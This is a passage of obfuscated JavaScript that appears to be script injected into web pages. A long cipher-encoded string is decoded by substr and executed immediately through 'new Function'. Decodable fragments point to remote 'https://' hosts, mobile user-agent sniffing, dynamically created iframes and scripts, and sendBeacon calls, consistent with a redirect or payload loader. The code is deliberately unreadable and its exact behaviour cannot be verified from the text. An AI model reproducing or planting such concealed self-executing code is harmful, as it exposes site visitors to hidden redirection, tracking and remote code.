wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();